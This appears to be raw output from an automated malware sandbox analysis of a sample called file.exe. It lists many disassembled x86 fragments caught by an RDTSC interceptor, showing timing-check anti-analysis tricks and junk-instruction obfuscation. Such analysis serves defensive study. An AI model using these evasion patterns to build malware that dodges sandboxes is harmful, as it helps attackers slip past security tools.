Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA5ED second address: AFA611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA661h 0x00000007 jmp 00007F4E14FCA65Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD52F second address: ACD535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD535 second address: ACD599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F4E14FCA65Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ecx, dword ptr [ebp+122D2DCEh] 0x00000015 lea eax, dword ptr [ebp+124782B3h] 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F4E14FCA658h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 0000001Ch 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov edx, dword ptr [ebp+122D2DF6h] 0x0000003b mov edx, 4372FC6Eh 0x00000040 nop 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F4E14FCA661h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD599 second address: ACD59F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD59F second address: ACD5A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD676 second address: ACD67A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD67A second address: ACD680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD680 second address: ACD687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDA36 second address: ACDA4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FCA661h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDC32 second address: ACDC38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDDC1 second address: ACDDD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDDD6 second address: ACDDDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDDDC second address: ACDE13 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E14FCA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], esi 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F4E14FCA658h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 nop 0x0000002a push edi 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e pop eax 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE06C second address: ACE081 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4E14FBFA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jc 00007F4E14FBFA2Eh 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE155 second address: ACE185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E14FCA669h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE185 second address: ACE189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE189 second address: ACE18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE18F second address: ACE195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE7C4 second address: ACE803 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F4E14FCA656h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 je 00007F4E14FCA671h 0x00000018 push edi 0x00000019 jmp 00007F4E14FCA669h 0x0000001e pop edi 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 jno 00007F4E14FCA658h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE803 second address: ACE808 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE808 second address: ACE833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F4E14FCA66Ch 0x00000015 jmp 00007F4E14FCA666h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEC71 second address: AFEC95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4E14FBFA35h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F4E14FBFA26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEDB1 second address: AFEDC2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F4E14FCA658h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEF12 second address: AFEF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jns 00007F4E14FBFA36h 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007F4E14FBFA30h 0x00000016 popad 0x00000017 jo 00007F4E14FBFA28h 0x0000001d push edi 0x0000001e pop edi 0x0000001f jmp 00007F4E14FBFA2Bh 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEF5B second address: AFEF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF087 second address: AFF08F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF08F second address: AFF09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF09A second address: AFF0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4E14FBFA26h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF0A9 second address: AFF0C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA668h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B038EF second address: B0391F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4E14FBFA38h 0x0000000e jmp 00007F4E14FBFA2Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82F52 second address: A82F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07F04 second address: B07F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07F08 second address: B07F39 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F4E14FCA667h 0x0000000c jmp 00007F4E14FCA661h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F4E14FCA65Bh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08669 second address: B086A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4E14FBFA2Bh 0x0000000b popad 0x0000000c jns 00007F4E14FBFA2Eh 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F4E14FBFA2Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08968 second address: B08987 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08987 second address: B08996 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08996 second address: B089BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4E14FCA664h 0x0000000a popad 0x0000000b push edi 0x0000000c pushad 0x0000000d jne 00007F4E14FCA656h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08F7C second address: B08F82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08F82 second address: B08F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E14FCA666h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EF26 second address: B0EF4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4E14FBFA2Eh 0x0000000f jmp 00007F4E14FBFA2Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EF4C second address: B0EF5A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4E14FCA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EF5A second address: B0EF60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D9B6 second address: B0D9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0DE41 second address: B0DE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E2DB second address: B0E2E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E2E1 second address: B0E2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E47C second address: B0E482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E734 second address: B0E738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8BA second address: B0E8EC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4E14FCA656h 0x00000008 jl 00007F4E14FCA656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4E14FCA65Ah 0x00000017 jmp 00007F4E14FCA666h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8EC second address: B0E8F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8F2 second address: B0E8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0E8F8 second address: B0E92F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA37h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4E14FBFA34h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D5D7 second address: B0D5DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B165C4 second address: B165D6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B165D6 second address: B165F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F4E14FCA667h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B165F8 second address: B16616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E14FBFA26h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4E14FBFA2Dh 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16616 second address: B1661C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16183 second address: B16189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16189 second address: B16199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F4E14FCA656h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B162F6 second address: B16300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16300 second address: B16304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16304 second address: B16308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19094 second address: B190C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4E14FCA656h 0x0000000a jng 00007F4E14FCA656h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F4E14FCA666h 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B190C0 second address: B190C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19201 second address: B19205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19205 second address: B19209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B194B8 second address: B194DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E14FCA656h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F4E14FCA660h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20203 second address: B20207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20207 second address: B2020D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2020D second address: B20229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E14FBFA2Bh 0x0000000b pushad 0x0000000c jno 00007F4E14FBFA26h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EDB4 second address: B1EDFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4E14FCA667h 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushad 0x00000010 jno 00007F4E14FCA656h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jns 00007F4E14FCA65Ch 0x0000001f jmp 00007F4E14FCA660h 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EF30 second address: B1EF3A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E14FBFA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE336 second address: ACE35C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA666h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F4E14FCA658h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE35C second address: ACE362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE416 second address: ACE41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE41C second address: ACE421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE421 second address: ACE438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FCA663h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F386 second address: B1F395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F4E14FBFA2Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F395 second address: B1F39F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4E14FCA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F39F second address: B1F3A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B22ADD second address: B22AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26772 second address: B2678F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push edx 0x00000009 js 00007F4E14FBFA26h 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 jnp 00007F4E14FBFA26h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B268B5 second address: B268BF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E14FCA656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B269E7 second address: B269ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B269ED second address: B26A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E14FCA668h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E14FCA65Eh 0x00000013 jmp 00007F4E14FCA65Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26E9D second address: B26EA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F85F second address: B2F86A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F86A second address: B2F885 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnl 00007F4E14FBFA26h 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 js 00007F4E14FBFA26h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F885 second address: B2F88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F88F second address: B2F8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E14FBFA38h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F8AC second address: B2F8B8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F8B8 second address: B2F8C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4E14FBFA26h 0x0000000a rdtsc
